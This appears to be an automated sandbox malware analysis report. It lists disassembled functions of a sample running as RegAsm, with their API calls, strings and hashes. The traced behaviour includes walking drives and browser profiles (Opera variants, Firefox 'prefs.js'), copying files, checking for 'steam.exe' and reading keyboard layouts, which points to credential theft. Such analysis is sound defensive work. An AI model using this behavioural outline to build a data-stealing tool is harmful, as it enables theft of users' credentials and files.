ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: bda296b1393527d1300f5fae4d52867722602398b487228bc4e84d997ee74abd
Instruction ID: f6e3f0428e96004f8b83f7710fafbd9962f3d673da3a1d35a18d8dcfea6c860f
Opcode Fuzzy Hash: bda296b1393527d1300f5fae4d52867722602398b487228bc4e84d997ee74abd
Instruction Fuzzy Hash: 0251EA72800218AFDF15EFA1ED498EE7FBAFF08319F045525F901E2120E7369A55DB61

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 2e0bb3d38ea62b5c105b61d514d6becb3cb91e1da354d02d3ddcedb69e666a60
Instruction ID: 7b4a02d1ce16c29d0e311cc455c9dd4e2592c9f450b56a316f79c40a9e4a8b0e
Opcode Fuzzy Hash: 2e0bb3d38ea62b5c105b61d514d6becb3cb91e1da354d02d3ddcedb69e666a60
Instruction Fuzzy Hash: 71515FB190021D9BCF64DF60CC89AC9B7BDAB48305F1045E6E609E3250EB369B89CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera Crypto, xrefs: 0040C09F
Opera, xrefs: 0040C083
Opera GX, xrefs: 0040C091
\*.*, xrefs: 0040BF73

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: aa36165faac966798846ca3c9bce9657deccde8570b813cc5940d77252a91f8b
Instruction ID: c4b769843fd96ba5a9993bec0907288b27e6520762e28c1f4f52d27b6ca0eed4
Opcode Fuzzy Hash: aa36165faac966798846ca3c9bce9657deccde8570b813cc5940d77252a91f8b
Instruction Fuzzy Hash: 0E021D71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3191DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

%DRIVE_REMOVABLE%, xrefs: 00415215
%DRIVE_FIXED%, xrefs: 00415230
*%DRIVE_REMOVABLE%*, xrefs: 0041518F
*%DRIVE_FIXED%*, xrefs: 0041515E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: c6a03fd65228155c95557e0964fe3535a0c6996c33cf50c77044e9ee4d403a5c
Instruction ID: 002cc7b8fd832fc02ac953dee8a9373947a5751985c47ec76440b2e4c0201c02
Opcode Fuzzy Hash: c6a03fd65228155c95557e0964fe3535a0c6996c33cf50c77044e9ee4d403a5c
Instruction Fuzzy Hash: 1B512DB190021CAFDF219FA1CC85BDA7BB9FB09304F1041AAEA48A7111E7355E89CF59

Function 00401D80 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043A9AC,0043A9B0,004369FA,004369F7,00417908,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043A9B4), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043A9B8), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043A9BC,0043A9C0,?,0043A9C4,004369FB), ref: 004020DD

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E97: Sleep.KERNEL32(000003E8,?,?), ref: 00416EFE

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CreateFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1116797323-1173974218
Opcode ID: 4a5b137c999928a75ba8bc4a6e6ab310dcd69db191c9960b432ed123b9b006a7
Instruction ID: 84c523e9d2ff6d0b2cceb644b0baa1646f1dc192954122ea0c18f52f03966360
Opcode Fuzzy Hash: 4a5b137c999928a75ba8bc4a6e6ab310dcd69db191c9960b432ed123b9b006a7
Instruction Fuzzy Hash: 6C32EC71A401299BCF21FB25DD4A6CD7375AF04308F5100EAB548B71A1DBB86FC98F99

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001,0043758C,004368AF), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: 41633527efff258655262d476ebd01a72874a665415db562b1b65d312d844474
Instruction ID: 927356911e44c3405f4de0d2be1bd74ddf2f7452577bbc1ac17ea627ea54bfb8
Opcode Fuzzy Hash: 41633527efff258655262d476ebd01a72874a665415db562b1b65d312d844474
Instruction Fuzzy Hash: 38A11C71D001289BCF60FB65DD46BCD7375AF04318F4101EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001,004373D0,00436812,?,?,?), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: c2ed2a2b921503af2e1bda992e97388ccf911cd7dd1c3e3f35522dbd33dae0d6
Instruction ID: de252c0fab1b0e9a2d3383b13184952b75e93cbc882370f7403094166be9312a
Opcode Fuzzy Hash: c2ed2a2b921503af2e1bda992e97388ccf911cd7dd1c3e3f35522dbd33dae0d6
Instruction Fuzzy Hash: 7E812C7290021C9BCF20FB75DD46ADD7779AB04308F4501A6EC48B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 3cb6e8a710d4498e8812abe57448e33dc0f290ad47eb1370d56b55ec382773d2
Instruction ID: 012bf4d8d1ff090a25d7979138f5f9e06e77e1c880a3c2a583d4811a910fbd8f
Opcode Fuzzy Hash: 3cb6e8a710d4498e8812abe57448e33dc0f290ad47eb1370d56b55ec382773d2
Instruction Fuzzy Hash: 17012170A01224DFDB74DB64DD44BDE77B9AF08311F8001E6E409E2290EB388F90CB15

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

